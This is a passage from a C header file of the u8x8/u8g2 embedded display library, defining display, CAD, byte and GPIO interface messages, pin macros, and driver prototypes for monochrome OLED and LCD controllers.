after debounce */\n#ifdef U8X8_WITH_USER_PTR\n  void *user_ptr;\n#endif\n#ifdef U8X8_USE_PINS \n  uint8_t pins[U8X8_PIN_CNT];\t/* defines a pinlist: Mainly a list of pins for the Arduino Environment, use U8X8_PIN_xxx to access */\n#endif\n};\n\n#ifdef U8X8_WITH_USER_PTR\n#define u8x8_GetUserPtr(u8x8) ((u8x8)->user_ptr)\n#define u8x8_SetUserPtr(u8x8, p) ((u8x8)->user_ptr = (p))\n#endif\n\n\n#define u8x8_GetCols(u8x8) ((u8x8)->display_info->tile_width)\n#define u8x8_GetRows(u8x8) ((u8x8)->display_info->tile_height)\n#define u8x8_GetI2CAddress(u8x8) ((u8x8)->i2c_address)\n#define u8x8_SetI2CAddress(u8x8, address) ((u8x8)->i2c_address = (address))\n\n#define u8x8_SetGPIOResult(u8x8, val) ((u8x8)->gpio_result = (val))\n#define u8x8_GetSPIClockPhase(u8x8) ((u8x8)->display_info->spi_mode & 0x01)  /* 0 means rising edge */\n#define u8x8_GetSPIClockPolarity(u8x8) (((u8x8)->display_info->spi_mode & 0x02) >> 1)\n#define u8x8_GetSPIClockDefaultLevel(u8x8) (((u8x8)->display_info->spi_mode & 0x02) >> 1)\n\n#define u8x8_GetFontCharWidth(u8x8) u8x8_pgm_read( (u8x8)->font + 2 )\n#define u8x8_GetFontCharHeight(u8x8) u8x8_pgm_read( (u8x8)->font + 3 )\n\n#ifdef U8X8_USE_PINS \n#define u8x8_SetPin(u8x8,pin,val) (u8x8)->pins[pin] = (val)\n#define u8x8_SetMenuSelectPin(u8x8, val) u8x8_SetPin((u8x8),U8X8_PIN_MENU_SELECT,(val))\n#define u8x8_SetMenuNextPin(u8x8, val) u8x8_SetPin((u8x8),U8X8_PIN_MENU_NEXT,(val))\n#define u8x8_SetMenuPrevPin(u8x8, val) u8x8_SetPin((u8x8),U8X8_PIN_MENU_PREV,(val))\n#define u8x8_SetMenuHomePin(u8x8, val) u8x8_SetPin((u8x8),U8X8_PIN_MENU_HOME,(val))\n#define u8x8_SetMenuUpPin(u8x8, val) u8x8_SetPin((u8x8),U8X8_PIN_MENU_UP,(val))\n#define u8x8_SetMenuDownPin(u8x8, val) u8x8_SetPin((u8x8),U8X8_PIN_MENU_DOWN,(val))\n#endif\n\n\n/*==========================================*/\n/* u8log extension for u8x8 and u8g2 */\n\ntypedef struct u8log_struct u8log_t;\n\n\n/* redraw the specified line. */\ntypedef void (*u8log_cb)(u8log_t * u8log);\n\nstruct u8log_struct\n{\n  /* configuration */\n  void *aux_data;\t\t/* pointer to u8x8 or u8g2 */\n  uint8_t width, height;\t/* size of the terminal */\n  u8log_cb cb;\t\t\t/* callback redraw function */\n  uint8_t *screen_buffer;\t/* size must be width*height bytes */\n  uint8_t is_redraw_line_for_each_char;\n  int8_t line_height_offset;\t\t/* extra offset for the line height (u8g2 only) */\n  \n  /* internal data */\n  //uint8_t last_x, last_y;\t/* position of the last printed char */\n  uint8_t cursor_x, cursor_y;  /* position of the cursor, might be off screen */\n  uint8_t redraw_line;\t/* redraw specific line if is_redraw_line is not 0 */\n  uint8_t is_redraw_line;\n  uint8_t is_redraw_all;\n  uint8_t is_redraw_all_required_for_next_nl; /* in nl mode, redraw all instead of current line */\n};\n\n\n/*==========================================*/\n\n/* helper functions */\nvoid u8x8_d_helper_display_setup_memory(u8x8_t *u8x8, const u8x8_display_info_t *display_info);\nvoid u8x8_d_helper_display_init(u8x8_t *u8g2);\n\n/* Display Interface */\n\n/*\n  Name: \tU8X8_MSG_DISPLAY_SETUP_MEMORY\n  Args:\tNone\n  Tasks:\n    1) setup u8g2->display_info\n      copy u8g2->display_info->default_x_offset to u8g2->x_offset\n      \n   usually calls u8x8_d_helper_display_setup_memory()\n*/\n#define U8X8_MSG_DISPLAY_SETUP_MEMORY 9\n\n/*\n  Name: \tU8X8_MSG_DISPLAY_INIT\n  Args:\tNone\n  Tasks:\n\n    2) put interface into default state: \n\t  execute u8x8_gpio_Init for port directions\n\t  execute u8x8_cad_Init for default port levels\n    3) set CS status (not clear, may be done in cad/byte interface\n    4) execute display reset (gpio interface)\n    5) send setup sequence to display, do not activate display, disable \"power save\" will follow \n*/\n#define U8X8_MSG_DISPLAY_INIT 10\n\n/*\n  Name: \tU8X8_MSG_DISPLAY_SET_POWER_SAVE\n  Args:\targ_int: 0: normal mode (RAM is visible on the display), 1: nothing is shown\n  Tasks:\n    Depending on arg_int, put the display into normal or power save mode.\n    Send the corresponding sequence to the display.\n    In power save mode, it must be possible to modify the RAM content.\n*/\n#define U8X8_MSG_DISPLAY_SET_POWER_SAVE 11\n\n/*\n  Name: \tU8X8_MSG_DISPLAY_SET_FLIP_MODE\n  Args:\targ_int: 0: normal mode, 1: flipped HW screen (180 degree)\n  Tasks:\n    Reprograms the display controller to rotate the display by \n    180 degree (arg_int = 1) or not (arg_int = 0)\n    This may change u8g2->x_offset if the display is smaller than the controller ram\n    This message should only be supported if U8X8_WITH_FLIP_MODE is defined.\n*/\n#define U8X8_MSG_DISPLAY_SET_FLIP_MODE 13\n\n/*  arg_int: 0..255 contrast value */\n#define U8X8_MSG_DISPLAY_SET_CONTRAST 14\n\n/*\n  Name: \tU8X8_MSG_DISPLAY_DRAW_TILE\n  Args:\t\n    arg_int: How often to repeat this tile pattern\n    arg_ptr: pointer to u8x8_tile_t\n        uint8_t *tile_ptr;\tpointer to one or more tiles (number is \"cnt\")\n\tuint8_t cnt;\t\tnumber of tiles\n\tuint8_t x_pos;\t\tfirst tile x position\n\tuint8_t y_pos;\t\tfirst tile y position \n  Tasks:\n    One tile has exactly 8 bytes (8x8 pixel monochrome bitmap). \n    The lowest bit of the first byte is the upper left corner\n    The highest bit of the first byte is the lower left corner\n    The lowest bit of the last byte is the upper right corner\n    The highest bit of the last byte is the lower left corner\n    \"tile_ptr\" is the address of a memory area, which contains\n    one or more tiles. \"cnt\" will contain the exact number of\n    tiles in the memory areay. The size of the memory area is 8*cnt;\n    Multiple tiles in the memory area form a horizontal sequence, this \n    means the first tile is drawn at x_pos/y_pos, the second tile is drawn\n    at x_pos+1/y_pos, third at x_pos+2/y_pos.\n    \"arg_int\" tells how often the tile sequence should be repeated:\n    For example if \"cnt\" is two and tile_ptr points to tiles A and B,\n    then for arg_int = 3, the following tile sequence will be drawn:\n    ABABAB. Totally, cnt*arg_int tiles will be drawn. \n        \n*/\n#define U8X8_MSG_DISPLAY_DRAW_TILE 15\n\n\n/*\n  Name: \tU8X8_MSG_DISPLAY_REFRESH\n  Args:\t\n    arg_int: -\n    arg_ptr: -\n  \n  This was introduced for the SSD1606 eInk display.\n  The problem is, that all RAM access will not appear on the screen\n  unless a special command is executed. With this message, this command\n  sequence is executed.\n  Use\n    void u8x8_RefreshDisplay(u8x8_t *u8x8)\n  to send the message to the display handler.\n*/\n#define U8X8_MSG_DISPLAY_REFRESH 16\n\n/*==========================================*/\n/* u8x8_setup.c */\n\nuint8_t u8x8_dummy_cb(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\n\n/* \n  Setup u8x8 object itself. This should be the very first function \n  called on the new u8x8 object. After this call, assign the callback\n  functions. Optional: Set the pins \n*/\n\nvoid u8x8_SetupDefaults(u8x8_t *u8x8); /* do not use this, use u8x8_Setup() instead */\n\nvoid u8x8_Setup(u8x8_t *u8x8, u8x8_msg_cb display_cb, u8x8_msg_cb cad_cb, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\n\n/*==========================================*/\n/* u8x8_display.c */\nuint8_t u8x8_DrawTile(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t cnt, uint8_t *tile_ptr);\n\n/* \n  After a call to u8x8_SetupDefaults, \n  setup u8x8 memory structures & inform callbacks \n  This function is also called from u8x8_Setup(), so do not call u8x8_SetupMemory()\n  directly, but use u8x8_Setup() instead.\n*/\nvoid u8x8_SetupMemory(u8x8_t *u8x8);\n\n/*\n  Init the interface to the display, but not the display itself.\n  This might be useful, if the display is already running.\n  \n  InitInterface is called from InitDisplay, do not call both functions.\n*/\nvoid u8x8_InitInterface(u8x8_t *u8x8);\n\n/*\n  After calling u8x8_SetupMemory()/u8x8_Setup(), init the display hardware itself.\n  This will will the first time, u8x8 talks to the display.\n  It will init the display, but keep display in power save mode. \n  Usually this command must be followed by u8x8_SetPowerSave() \n*/\nvoid u8x8_InitDisplay(u8x8_t *u8x8);\n/* wake up display from power save mode */\nvoid u8x8_SetPowerSave(u8x8_t *u8x8, uint8_t is_enable);\nvoid u8x8_SetFlipMode(u8x8_t *u8x8, uint8_t mode);\nvoid u8x8_SetContrast(u8x8_t *u8x8, uint8_t value);\nvoid u8x8_ClearDisplayWithTile(u8x8_t *u8x8, const uint8_t *buf)  U8X8_NOINLINE;\nvoid u8x8_ClearDisplay(u8x8_t *u8x8);\t// this does not work for u8g2 in some cases\nvoid u8x8_FillDisplay(u8x8_t *u8x8);\nvoid u8x8_RefreshDisplay(u8x8_t *u8x8);\t// make RAM content visible on the display (Dec 16: SSD1606 only)\nvoid u8x8_ClearLine(u8x8_t *u8x8, uint8_t line);\n\n\n\n/*==========================================*/\n/* Command Arg Data (CAD) Interface */\n\n/*\n  U8X8_MSG_CAD_INIT\n    no args\n    call U8X8_MSG_BYTE_INIT\n    setup default values for the I/O lines\n*/\n#define U8X8_MSG_CAD_INIT 20\n\n\n#define U8X8_MSG_CAD_SEND_CMD 21\n/*  arg_int: cmd byte */\n#define U8X8_MSG_CAD_SEND_ARG 22\n/*  arg_int: arg byte */\n#define U8X8_MSG_CAD_SEND_DATA 23\n/* arg_int: expected cs level after processing this msg */\n#define U8X8_MSG_CAD_START_TRANSFER 24\n/* arg_int: expected cs level after processing this msg */\n#define U8X8_MSG_CAD_END_TRANSFER 25\n/* arg_int = 0: disable chip, arg_int = 1: enable chip */\n//#define U8X8_MSG_CAD_SET_I2C_ADR 26\n//#define U8X8_MSG_CAD_SET_DEVICE 27\n\n\n\n/* u8g_cad.c */\n\n#define u8x8_cad_Init(u8x8) ((u8x8)->cad_cb((u8x8), U8X8_MSG_CAD_INIT, 0, NULL ))\n\nuint8_t u8x8_cad_SendCmd(u8x8_t *u8x8, uint8_t cmd) U8X8_NOINLINE;\nuint8_t u8x8_cad_SendArg(u8x8_t *u8x8, uint8_t arg) U8X8_NOINLINE;\nuint8_t u8x8_cad_SendMultipleArg(u8x8_t *u8x8, uint8_t cnt, uint8_t arg) U8X8_NOINLINE;\nuint8_t u8x8_cad_SendData(u8x8_t *u8x8, uint8_t cnt, uint8_t *data) U8X8_NOINLINE;\nuint8_t u8x8_cad_StartTransfer(u8x8_t *u8x8) U8X8_NOINLINE;\nuint8_t u8x8_cad_EndTransfer(u8x8_t *u8x8) U8X8_NOINLINE;\nvoid u8x8_cad_vsendf(u8x8_t * u8x8, const char *fmt, va_list va);\nvoid u8x8_SendF(u8x8_t * u8x8, const char *fmt, ...);\n\n/*\n#define U8X8_C(c0)\t\t\t\t(0x04), (c0)\n#define U8X8_CA(c0,a0)\t\t\t(0x05), (c0), (a0)\n#define U8X8_CAA(c0,a0,a1)\t\t(0x06), (c0), (a0), (a1)\n#define U8X8_DATA()\t\t\t(0x10)\n#define U8X8_D1(d0)\t\t\t(0x11), (d0)\n*/\n\n#define U8X8_C(c0)\t\t\t\t(U8X8_MSG_CAD_SEND_CMD), (c0)\n#define U8X8_A(a0)\t\t\t\t(U8X8_MSG_CAD_SEND_ARG), (a0)\n#define U8X8_CA(c0,a0)\t\t\t(U8X8_MSG_CAD_SEND_CMD), (c0), (U8X8_MSG_CAD_SEND_ARG), (a0)\n#define U8X8_CAA(c0,a0,a1)\t\t(U8X8_MSG_CAD_SEND_CMD), (c0), (U8X8_MSG_CAD_SEND_ARG), (a0), (U8X8_MSG_CAD_SEND_ARG), (a1)\n#define U8X8_CCAA(c0,c1,a0, a1)\t(U8X8_MSG_CAD_SEND_CMD), (c0), (U8X8_MSG_CAD_SEND_CMD), (c1), (U8X8_MSG_CAD_SEND_ARG), (a0), (U8X8_MSG_CAD_SEND_ARG), (a1)\n#define U8X8_CAAA(c0,a0,a1, a2)\t(U8X8_MSG_CAD_SEND_CMD), (c0), (U8X8_MSG_CAD_SEND_ARG), (a0), (U8X8_MSG_CAD_SEND_ARG), (a1), (U8X8_MSG_CAD_SEND_ARG), (a2)\n#define U8X8_CAAAA(c0,a0,a1,a2,a3)\t\t(U8X8_MSG_CAD_SEND_CMD), (c0), (U8X8_MSG_CAD_SEND_ARG), (a0), (U8X8_MSG_CAD_SEND_ARG), (a1), (U8X8_MSG_CAD_SEND_ARG), (a2), (U8X8_MSG_CAD_SEND_ARG), (a3)\n#define U8X8_AAC(a0,a1,c0)\t\t(U8X8_MSG_CAD_SEND_ARG), (a0), (U8X8_MSG_CAD_SEND_ARG), (a1), (U8X8_MSG_CAD_SEND_CMD), (c0)\n#define U8X8_D1(d0)\t\t\t(U8X8_MSG_CAD_SEND_DATA), (d0)\n\n#define U8X8_A4(a0,a1,a2,a3)\t\tU8X8_A(a0), U8X8_A(a1), U8X8_A(a2), U8X8_A(a3)\n#define U8X8_A8(a0,a1,a2,a3,a4,a5,a6,a7)\tU8X8_A4((a0), (a1), (a2), (a3)), U8X8_A4((a4), (a5), (a6), (a7))\n\n\n#define U8X8_START_TRANSFER()\t(U8X8_MSG_CAD_START_TRANSFER)\n#define U8X8_END_TRANSFER()\t(U8X8_MSG_CAD_END_TRANSFER)\n#define U8X8_DLY(m)\t\t\t(0xfe),(m)\t\t/* delay in milli seconds */\n#define U8X8_END()\t\t\t(0xff)\n\nvoid u8x8_cad_SendSequence(u8x8_t *u8x8, uint8_t const *data);\nuint8_t u8x8_cad_empty(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_cad_110(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_gu800_cad_110(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_cad_001(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_cad_011(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_cad_100(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_cad_st7920_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_cad_ssd13xx_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_cad_ssd13xx_fast_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_cad_st75256_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_cad_ld7032_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_cad_uc16xx_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);  /* CAD=001 */\nuint8_t u8x8_cad_uc1638_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);  /* CAD=011 */\n\n\n/*==========================================*/\n/* Byte Interface */\n\n#define U8X8_MSG_BYTE_INIT U8X8_MSG_CAD_INIT\n#define U8X8_MSG_BYTE_SET_DC 32\n\n#define U8X8_MSG_BYTE_SEND U8X8_MSG_CAD_SEND_DATA\n\n#define U8X8_MSG_BYTE_START_TRANSFER U8X8_MSG_CAD_START_TRANSFER\n#define U8X8_MSG_BYTE_END_TRANSFER U8X8_MSG_CAD_END_TRANSFER\n\n//#define U8X8_MSG_BYTE_SET_I2C_ADR U8X8_MSG_CAD_SET_I2C_ADR\n//#define U8X8_MSG_BYTE_SET_DEVICE U8X8_MSG_CAD_SET_DEVICE\n\n\nuint8_t u8x8_byte_SetDC(u8x8_t *u8x8, uint8_t dc) U8X8_NOINLINE;\nuint8_t u8x8_byte_SendByte(u8x8_t *u8x8, uint8_t byte) U8X8_NOINLINE;\nuint8_t u8x8_byte_SendBytes(u8x8_t *u8x8, uint8_t cnt, uint8_t *data) U8X8_NOINLINE;\nuint8_t u8x8_byte_StartTransfer(u8x8_t *u8x8);\nuint8_t u8x8_byte_EndTransfer(u8x8_t *u8x8);\n\nuint8_t u8x8_byte_empty(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_byte_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_byte_8bit_6800mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_byte_8bit_8080mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_byte_3wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\n/* uint8_t u8x8_byte_st7920_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); */\nvoid u8x8_byte_set_ks0108_cs(u8x8_t *u8x8, uint8_t arg) U8X8_NOINLINE;\nuint8_t u8x8_byte_ks0108(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_byte_ssd13xx_sw_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);  /* OBSOLETE! */\nuint8_t u8x8_byte_sw_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_byte_sed1520(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\n\n\n/*==========================================*/\n/* GPIO Interface */\n\n\n/*\n  U8X8_MSG_GPIO_AND_DELAY_INIT\n  no args\n  setup port directions, do not set IO levels, this is done with BYTE/CAD_INIT\n*/\n#define U8X8_MSG_GPIO_AND_DELAY_INIT 40\n\n/* arg_int: milliseconds */\n#define U8X8_MSG_DELAY_MILLI\t\t41\n\n/* 10MICRO and 100NANO are not used at the moment */\n#define U8X8_MSG_DELAY_10MICRO\t\t42\n#define U8X8_MSG_DELAY_100NANO\t\t43\n\n\n#define U8X8_MSG_DELAY_NANO\t\t44\n/* delay of one i2c unit, should be 5us for 100K, and 1.25us for 400K */\n#define U8X8_MSG_DELAY_I2C\t\t45\n\n#define U8X8_MSG_GPIO(x) (64+(x))\n#ifdef U8X8_USE_PINS \n#define u8x8_GetPinIndex(u8x8, msg) ((msg)&0x3f)\n#define u8x8_GetPinValue(u8x8, msg) ((u8x8)->pins[(msg)&0x3f])\n#endif\n\n#define U8X8_MSG_GPIO_D0\t\t\tU8X8_MSG_GPIO(U8X8_PIN_D0)\n#define U8X8_MSG_GPIO_SPI_CLOCK\tU8X8_MSG_GPIO(U8X8_PIN_SPI_CLOCK)\n#define U8X8_MSG_GPIO_D1\t\t\tU8X8_MSG_GPIO(U8X8_PIN_D1)\n#define U8X8_MSG_GPIO_SPI_DATA\t\tU8X8_MSG_GPIO(U8X8_PIN_SPI_DATA)\n#define U8X8_MSG_GPIO_D2\t\t\tU8X8_MSG_GPIO(U8X8_PIN_D2)\n#define U8X8_MSG_GPIO_D3\t\t\tU8X8_MSG_GPIO(U8X8_PIN_D3)\n#define U8X8_MSG_GPIO_D4\t\t\tU8X8_MSG_GPIO(U8X8_PIN_D4)\n#define U8X8_MSG_GPIO_D5\t\t\tU8X8_MSG_GPIO(U8X8_PIN_D5)\n#define U8X8_MSG_GPIO_D6\t\t\tU8X8_MSG_GPIO(U8X8_PIN_D6)\n#define U8X8_MSG_GPIO_D7\t\t\tU8X8_MSG_GPIO(U8X8_PIN_D7)\n#define U8X8_MSG_GPIO_E \t\t\tU8X8_MSG_GPIO(U8X8_PIN_E)\t\t\t// used as E1 for the SED1520\n#define U8X8_MSG_GPIO_CS\t\t\tU8X8_MSG_GPIO(U8X8_PIN_CS)\t\t// used as E2 for the SED1520\n#define U8X8_MSG_GPIO_DC\t\t\tU8X8_MSG_GPIO(U8X8_PIN_DC)\n#define U8X8_MSG_GPIO_RESET \t\tU8X8_MSG_GPIO(U8X8_PIN_RESET)\n#define U8X8_MSG_GPIO_I2C_CLOCK\tU8X8_MSG_GPIO(U8X8_PIN_I2C_CLOCK)\n#define U8X8_MSG_GPIO_I2C_DATA\t\tU8X8_MSG_GPIO(U8X8_PIN_I2C_DATA)\n\n\n#define U8X8_MSG_GPIO_CS1\t\t\tU8X8_MSG_GPIO(U8X8_PIN_CS1)\t/* KS0108 extra chip select */\n#define U8X8_MSG_GPIO_CS2\t\t\tU8X8_MSG_GPIO(U8X8_PIN_CS2)\t/* KS0108 extra chip select */\n\n\n/* these message expect the return value in u8x8->gpio_result */\n#define U8X8_MSG_GPIO_MENU_SELECT\tU8X8_MSG_GPIO(U8X8_PIN_MENU_SELECT)\n#define U8X8_MSG_GPIO_MENU_NEXT\tU8X8_MSG_GPIO(U8X8_PIN_MENU_NEXT)\n#define U8X8_MSG_GPIO_MENU_PREV\tU8X8_MSG_GPIO(U8X8_PIN_MENU_PREV)\n#define U8X8_MSG_GPIO_MENU_HOME\tU8X8_MSG_GPIO(U8X8_PIN_MENU_HOME)\n#define U8X8_MSG_GPIO_MENU_UP\t\tU8X8_MSG_GPIO(U8X8_PIN_MENU_UP)\n#define U8X8_MSG_GPIO_MENU_DOWN\tU8X8_MSG_GPIO(U8X8_PIN_MENU_DOWN)\n\n\n#define u8x8_gpio_Init(u8x8) ((u8x8)->gpio_and_delay_cb((u8x8), U8X8_MSG_GPIO_AND_DELAY_INIT, 0, NULL ))\n\n\n/*\n#define u8x8_gpio_SetDC(u8x8, v) ((u8x8)->gpio_and_delay_cb((u8x8), U8X8_MSG_GPIO_DC, (v), NULL ))\n#define u8x8_gpio_SetCS(u8x8, v) ((u8x8)->gpio_and_delay_cb((u8x8), U8X8_MSG_GPIO_CS, (v), NULL ))\n#define u8x8_gpio_SetReset(u8x8, v) ((u8x8)->gpio_and_delay_cb((u8x8), U8X8_MSG_GPIO_RESET, (v), NULL ))\n*/\n\n#define u8x8_gpio_SetDC(u8x8, v) u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_DC, (v))\n#define u8x8_gpio_SetCS(u8x8, v) u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_CS, (v))\n#define u8x8_gpio_SetReset(u8x8, v) u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_RESET, (v))\n#define u8x8_gpio_SetSPIClock(u8x8, v) u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_SPI_CLOCK, (v))\n#define u8x8_gpio_SetSPIData(u8x8, v) u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_SPI_DATA, (v))\n#define u8x8_gpio_SetI2CClock(u8x8, v) u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_I2C_CLOCK, (v))\n#define u8x8_gpio_SetI2CData(u8x8, v) u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_I2C_DATA, (v))\n\nvoid u8x8_gpio_call(u8x8_t *u8x8, uint8_t msg, uint8_t arg) U8X8_NOINLINE;\n\n#define u8x8_gpio_Delay(u8x8, msg, dly) u8x8_gpio_call((u8x8), (msg), (dly))\n//void u8x8_gpio_Delay(u8x8_t *u8x8, uint8_t msg, uint8_t dly) U8X8_NOINLINE;\n\n\n/*==========================================*/\n/* u8x8_debounce.c */\n/* return U8X8_MSG_GPIO_MENU_xxxxx messages */\nuint8_t u8x8_GetMenuEvent(u8x8_t *u8x8);\n\n/*==========================================*/\n/* u8x8_d_stdio.c */\nvoid u8x8_SetupStdio(u8x8_t *u8x8);\n\n/*==========================================*/\n/* u8x8_d_sdl_128x64.c */\nvoid u8x8_Setup_SDL_128x64(u8x8_t *u8x8);\nvoid u8x8_Setup_SDL_240x160(u8x8_t *u8x8);\nint u8g_sdl_get_key(void);\n\n/*==========================================*/\n/* u8x8_d_tga.c */\nvoid u8x8_Setup_TGA_DESC(u8x8_t *u8x8);\nvoid u8x8_Setup_TGA_LCD(u8x8_t *u8x8);\nvoid tga_save(const char *name);\n\n/*==========================================*/\n/* u8x8_d_bitmap.c */\nuint8_t u8x8_GetBitmapPixel(u8x8_t *u8x8, uint16_t x, uint16_t y);\nvoid u8x8_SaveBitmapTGA(u8x8_t *u8x8, const char *filename);\nvoid u8x8_SetupBitmap(u8x8_t *u8x8, uint16_t pixel_width, uint16_t pixel_height);\nuint8_t u8x8_ConnectBitmapToU8x8(u8x8_t *u8x8);\n\n/*==========================================*/\n/* u8x8_d_framebuffer.c */\nvoid u8x8_SetupLinuxFb(u8x8_t *u8x8, int fbfd);\nvoid u8x8_LinuxFbSetActiveColor(uint32_t color);\n\n/*==========================================*/\n/* u8x8_d_utf8.c */\nvoid u8x8_Setup_Utf8(u8x8_t *u8x8);\t/* stdout UTF-8 display */\nvoid utf8_show(void);\t\t/* show content of UTF-8 frame buffer */\n\n\n/*==========================================*/\n\n/* u8x8_setup.c */\nuint8_t u8x8_d_null_cb(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\n\n/* u8x8_d_XXX.c */\nuint8_t u8x8_d_uc1701_ea_dogs102(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_uc1701_mini12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1305_128x32_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1305_128x32_adafruit(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\n/*uint8_t u8x8_d_ssd1305_128x32_waveshare(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);*/\nuint8_t u8x8_d_ssd1305_128x64_adafruit(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1305_128x64_raystar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1306_128x64_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1306_128x64_vcomh0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1306_128x64_alt0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1309_128x64_noname0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1309_128x64_noname2(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1312_128x64_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1306_2040x16(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1306_128x32_univision(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1306_128x32_winstar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1306_102x64_ea_oleds102(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);  /* u8x8_ssd1309.c */\nuint8_t u8x8_d_ssd1306_64x48_er(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1306_48x64_winstar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1306_64x32_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1306_64x32_1f(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1306_96x16_er(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1306_96x40(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1306_96x39(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_ssd1306_72x40_er(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sh1106_128x64_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sh1106_128x64_vcomh0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sh1106_128x64_winstar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sh1106_128x32_visionox(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); // located in ssd1306_128x32\nuint8_t u8x8_d_sh1106_72x40_wise(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sh1106_64x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sh1107_64x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sh1107_seeed_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nuint8_t u8x8_d_sh1107_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void 